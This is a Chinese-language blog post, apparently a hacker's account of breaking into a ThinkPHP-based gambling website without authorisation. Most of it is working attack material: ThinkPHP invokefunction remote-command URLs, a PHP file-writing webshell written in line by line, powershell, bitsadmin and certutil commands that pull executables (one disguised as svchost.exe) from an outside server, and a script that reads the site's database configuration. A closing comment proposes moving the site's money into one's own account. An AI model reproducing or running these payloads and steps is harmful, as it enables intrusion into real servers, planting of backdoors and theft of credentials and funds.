粉絲丟過來一個thinkphp的菠菜站,最近tp不是剛好有個漏洞嗎?然後就順手測試了一下,但過程並不太順利,不過最後還是拿下了,所以特發此文分享下思路。
0x00 一鍵getshell?
簡單看了下,應該有不少人玩吧?
正好前幾天寫了個測試工具,先掏出來測試一發。
工具顯示存在漏洞
一鍵getshell,看起來很順利的樣子,哈哈。
菜刀連線的時候,返回500錯誤。
用火狐的hackbar驗證下,沒毛病啊,那為什麼菜刀連線不上呢?
0x01 開始分析
因為這個工具我自己寫的,從上面getshell的圖片中發現呼叫的是第三個exp,那麼我們來分析下看看。
poc如下
/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
我們在poc後面輸入whoami看看許可權。
/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
iis許可權
但是可以執行部分命令,比如echo dir等等。
0x02 嘗試突破拿shell
既然可以執行echo 那麼我們可以來嘗試寫入個小馬試試,如果成功的話,再利用小馬上傳大馬,說幹就幹,苦活來了,我們得一行一行寫入進去。
注意:程式碼中的<>符號,要用^^轉義。比如<?php轉義為^<^?php
<?php
header("content-Type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);
?>
<form method="POST">
儲存檔名: <input type="text" name="file" size="60" value="<? echo str_replace('\\\\','/',__FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="儲存">
<form>
<?php
if(isset($_POST['file']))
{
$fp = @fopen($_POST['file'],'wb');
echo @fwrite($fp,$_POST['text']) ? '儲存成功!' : '儲存失敗!';
@fclose($fp);
}
?>
逐行寫入完成後,訪問的時候發現並不能正常執行,這裡忘記截圖了。。
接下來嘗試用以下方法下載檔案到伺服器上也失敗了。
powershell下載
注意:核心5.2以下版本可能無效
powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.174.145/ssss2.exe','C:\\ssss2.exe')
bitsadmin下載
bitsadmin /transfer n http://baidu.com/files/PSTools.zip C:\\PSTools.zip
注意:不支援https、ftp協議,使用kali的simplehttpserver作伺服器會報錯
正當我打算放棄的時候,我想起來還有個下載的命令沒用。
那就是certutil.exe
說幹就幹,把大馬放到我們伺服器上,開啟HFS。
然後執行以下命令。
certutil.exe -split -ur"lc"ache -f http://ww.baidu.com/svchost.exe svchost.exe
成功進入大馬,不過別高興太早。
大馬可以操作檔案上傳改名等等,但是無法編輯檔案,無法檢視檔案原始碼等等,點開顯示一片空白。
既然這樣,那麼我們進資料庫看看吧。
我們都知道tp的資料庫配置檔案在以下這個位置
/application/database.php
大馬是無法打開了,那麼我們可以用tp的命令執行漏洞嘗試用type命令去讀取這個檔案。
/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=type c:\\www\\application\\database.php
嘗試type讀取失敗,然後又想到copy命令。
把database.php拷貝到web根目錄下,改名為1.txt
/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copy c:\\www\\application\\database.php c:\\www\\public\\1.txt
拷貝完成以後訪問url/1.txt,發現裡面是空的。
0x03 成功突破
經歷了一系列的失敗後,我冷靜下來想了下,我們還可以用file_path去讀取原始碼試試。
<?php
$file_path = 'c:/www/application/database.php';
if(file_exists($file_path)){
$fp = fopen($file_path,'r');
$str = fread($fp,filesize($file_path));
echo $str = str_replace('\\r\\n','<br />',$str);
}
?>
用大馬上傳這個檔案到根目錄下,然後訪問,成功拿到資料庫配置。
然後填寫好配置資訊,進入資料庫。
晚安。
-
1 #
把他網站弄來的錢全轉自己賬戶去